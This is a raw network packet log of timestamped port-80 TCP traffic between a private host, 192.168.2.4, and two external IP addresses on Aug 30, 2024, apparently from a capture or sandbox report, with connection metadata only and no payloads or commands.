Aug 30, 2024 03:17:08.218100071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218100071 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218110085 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218142986 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218166113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218211889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218219995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218240976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218317032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218322992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218328953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218334913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218362093 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218369007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218374968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218409061 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.243581057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243668079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243671894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243673086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243679047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243684053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243709087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243715048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243720055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243745089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243745089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243752956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243757963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243762970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243783951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243783951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243807077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243829012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243834972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243844986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243871927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243879080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243884087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243949890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243954897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243966103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243971109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.243999004 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.243999004 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244028091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244029999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244035959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244040966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244045019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244050980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244086981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244100094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244121075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244127035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244137049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244143009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244170904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244175911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244185925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244189024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244189024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244193077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244230986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244231939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244236946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244241953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244290113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244301081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244307041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244345903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244350910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244355917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244358063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244360924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244365931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244402885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244402885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244410038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244472027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244477987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244523048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244528055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244541883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244546890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244548082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244555950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244586945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244590044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244590044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244592905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244635105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244651079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244657040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244678020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244683027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244688988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244699001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244731903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244795084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244800091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244812012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244817019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244822025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244854927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244854927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244863987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244898081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244903088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244923115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244929075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244937897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244944096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.244959116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244971037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.244999886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245099068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245105028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245110035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245115042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245121002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245125055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245141029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245147943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245157003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245158911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245184898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245184898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245208025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245270014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245275021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245280027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245285034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245296955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245301008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245317936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245317936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245341063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245625019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245640993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245650053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245692015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245692968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245697975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245707989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245712996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245753050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245753050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.245803118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.245877028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246417046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246423006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246433020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246459007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246471882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246496916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246504068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246512890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246515036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246517897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246547937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246558905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246561050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246654034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246659040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246670008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246675014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246681929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246701002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246706009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246717930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246726990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246732950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246737003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246781111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246788979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246794939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246804953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246840000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246905088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246910095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246921062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246926069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246932983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246942997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246948957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246972084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.246974945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246974945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.246978045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.247015953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.247015953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.257153988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257193089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257198095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257226944 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257240057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257313967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257320881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257330894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257344007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257360935 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257373095 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257394075 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257560968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257566929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257577896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257582903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257589102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257601023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257607937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257612944 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257612944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257626057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257631063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257636070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257638931 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257642031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257648945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257652998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257656097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257669926 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257694960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257859945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257863998 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.257904053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.257905006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.257910967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.257950068 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258012056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258017063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258028030 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258033991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258038044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258069992 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258125067 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258157015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258162022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258172989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258177996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258183956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258193970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258200884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258205891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258205891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.258217096 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258229971 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.258265972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258265972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258343935 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258349895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258361101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258364916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258371115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258375883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258388042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258393049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.258414030 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258418083 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.258424997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258430004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.258430958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258443117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258445978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258487940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258487940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258487940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258500099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258506060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258512020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258522987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258549929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258549929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258574009 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258727074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258733034 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258739948 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258749962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258784056 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258801937 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258855104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258861065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258871078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258877039 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258882046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258887053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258892059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258898020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258903027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258908033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258908987 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258913040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258919001 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.258945942 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258945942 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.258965015 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.259491920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259520054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259531021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259562969 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.259613991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259619951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259630919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259635925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259664059 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.259718895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259723902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259735107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259740114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259744883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259749889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259759903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259763002 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.259778023 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.259809017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.259982109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259988070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.259999990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260004997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260011911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260024071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260029078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260034084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.260056973 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.260073900 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.260343075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260452032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260457993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260462046 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.260463953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260469913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260476112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.260492086 CEST	80	49737	176.113.115.33	192.168.2.4
